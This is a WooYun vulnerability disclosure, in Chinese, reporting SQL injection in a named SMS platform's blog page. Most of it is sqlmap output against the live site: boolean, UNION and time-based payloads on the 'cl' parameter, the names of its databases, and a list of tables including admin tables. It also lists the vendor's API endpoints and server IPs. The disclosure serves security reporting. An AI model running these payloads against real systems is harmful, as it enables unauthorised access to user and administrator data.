当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0108724

漏洞标题:SMS短信应用平台存在SQL注入

相关厂商:SMS短信应用平台

漏洞作者: 陆由乙

提交时间:2015-04-22 18:02

修复时间:2015-06-06 18:04

公开时间:2015-06-06 18:04

漏洞类型:SQL注射漏洞

危害等级:低

自评Rank:5

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-22: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-06-06: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

详细说明:

http://www.sms.com.cn/Blog/index.php?cl=53
未过滤
通用短信平台HTTP老接口地址(http://61.147.124.106/smsmarketing/wwwroot/api)将于2012年7月28日起停用。
  最新接口地址如下:
  HTTP协议:域名方式: http://www.smsadmin.cn/smsmarketing/wwwroot/api
  IP 方 式:http://61.147.125.176/smsmarketing/wwwroot/api (电信用户)
        http://122.195.134.119/smsmarketing/wwwroot/api(联通用户)
  WebService协议:http://61.147.124.107:8080/SGIP/serviceInto.php?wsdl
服务名称 服务说明
YOUE主站 http://www.youe.com
YOUEWAP站 http://youe.mobi
yOUE英文站 http://en.youe.com
信息名址 http://www.sms.sh.cn
一号通 http://www.1.sh.cn
传真通 http://www.fax.sh.cn
400电话 http://www.china400.com.cn
移动商务平台 http://www.mpro.cn
有线通 http://www.youxiantong.com
唐人街 http://www.chinese-quarter.com
Webservice接口 http://61.147.124.107:8080/SGIP/serviceInto.php
富士项目 http://61.147.124.107:8080/ffcn_ggk/
http://youe.smsadmin.cn/
http://mas.smsadmin.cn/index.html
http://ad.smsadmin.cn/index.html

漏洞证明:

E:\qy\sqlmapproject-sqlmap-b1d13d1>sqlmap.py -u "http://www.sms.com.cn/Blog/inde
x.php?cl=53"
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150213}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 22:18:44
[22:18:44] [INFO] testing connection to the target URL
[22:18:48] [INFO] testing if the target URL is stable. This can take a couple of
seconds
[22:18:50] [WARNING] target URL is not stable. sqlmap will base the page compari
son on a sequence matcher. If no dynamic nor injectable parameters are detected,
or in case of junk results, refer to user's manual paragraph 'Page comparison'
and provide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c
[22:18:55] [INFO] testing if GET parameter 'cl' is dynamic
[22:18:57] [INFO] confirming that GET parameter 'cl' is dynamic
[22:19:00] [INFO] GET parameter 'cl' is dynamic
[22:19:07] [INFO] heuristic (basic) test shows that GET parameter 'cl' might be
injectable
[22:19:12] [INFO] testing for SQL injection on GET parameter 'cl'
[22:19:12] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[22:19:22] [INFO] GET parameter 'cl' seems to be 'AND boolean-based blind - WHER
E or HAVING clause' injectable
[22:19:37] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[22:19:40] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[22:19:42] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[22:19:48] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[22:19:50] [INFO] testing 'MySQL inline queries'
[22:19:54] [WARNING] reflective value(s) found and filtering out
[22:19:54] [INFO] testing 'PostgreSQL inline queries'
[22:19:55] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[22:20:00] [INFO] testing 'Oracle inline queries'
[22:20:02] [INFO] testing 'SQLite inline queries'
[22:20:04] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[22:20:04] [WARNING] time-based comparison requires larger statistical model, pl
ease wait..
[22:20:11] [CRITICAL] considerable lagging has been detected in connection respo
nse(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or
more)
[22:20:13] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[22:20:16] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[22:20:17] [INFO] testing 'MySQL > 5.0.11 AND time-based blind (SELECT)'
[22:20:29] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[22:21:29] [INFO] GET parameter 'cl' seems to be 'MySQL > 5.0.11 AND time-based
blind' injectable
[22:21:29] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[22:21:29] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[22:21:32] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[22:21:48] [INFO] target URL appears to have 22 columns in query
[22:22:05] [INFO] GET parameter 'cl' is 'MySQL UNION query (NULL) - 1 to 20 colu
mns' injectable
GET parameter 'cl' is vulnerable. Do you want to keep testing the others (if any
)? [y/N] n
sqlmap identified the following injection points with a total of 45 HTTP(s) requ
ests:
---
Parameter: cl (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cl=53 AND 6100=6100
Type: UNION query
Title: MySQL UNION query (NULL) - 22 columns
Payload: cl=53 UNION ALL SELECT NULL,CONCAT(0x716a787671,0x6c4b4e54494f66464
279,0x717a707671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NU
LL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: cl=53 AND SLEEP(5)
---
[22:22:21] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0.11
[22:22:21] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www.sms.com.cn'
[*] shutting down at 22:22:21
E:\qy\sqlmapproject-sqlmap-b1d13d1>sqlmap.py -u "http://www.sms.com.cn/Blog/inde
x.php?cl=53" --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150213}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 22:23:49
[22:23:50] [INFO] resuming back-end DBMS 'mysql'
[22:23:50] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: cl (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cl=53 AND 6100=6100
Type: UNION query
Title: MySQL UNION query (NULL) - 22 columns
Payload: cl=53 UNION ALL SELECT NULL,CONCAT(0x716a787671,0x6c4b4e54494f66464
279,0x717a707671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NU
LL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: cl=53 AND SLEEP(5)
---
[22:23:54] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0.11
[22:23:54] [INFO] fetching database names
available databases [2]:
[*] information_schema
[*] sms
[22:23:58] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www.sms.com.cn'
[*] shutting down at 22:23:58
E:\qy\sqlmapproject-sqlmap-b1d13d1>
sqlmap.py -u "http://www.sms.com.cn/Blog/index.php?cl=53" -D sms --tables
Database: sms
[68 tables]
+-----------------------+
| admin_cz |
| admin_user |
| admin_userbd |
| admin_userinfo |
| ask |
| channel |
| combo |
| config |
| cooper |
| cras_comment |
| findpwd |
| growup |
| member_info |
| mo |
| mob_content |
| monty |
| mt |
| new_comment |
| news |
| news_sort |
| re_member_module |
| re_user_channel |
| sms_cras |
| smsek |
| sys_links |
| sys_logs |
| sys_module |
| sys_param |
| sys_question |
| temp_old |
| u_inter |
| u_yz |
| user_info |
| vote_question |
| vote_title |
| wiki_activation |
| wiki_advertisement |
| wiki_attachment |
| wiki_autosave |
| wiki_banned |
| wiki_blacklist |
| wiki_category |
| wiki_channel |
| wiki_comment |
| wiki_creditdetail |
| wiki_doc |
| wiki_docreference |
| wiki_edition |
| wiki_focus |
| wiki_friendlink |
| wiki_language |
| wiki_lock |
| wiki_plugin |
| wiki_pluginhook |
| wiki_pluginvar |
| wiki_pms |
| wiki_regular |
| wiki_regular_relation |
| wiki_regulargroup |
| wiki_session |
| wiki_setting |
| wiki_style |
| wiki_synonym |
| wiki_task |
| wiki_user |
| wiki_usergroup |
| wiki_word |
| wordkey |
+-----------------------+

修复方案:

为何这个网站要用多个CMS。
用的模版越多漏洞越多。

版权声明:转载请注明来源 陆由乙@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝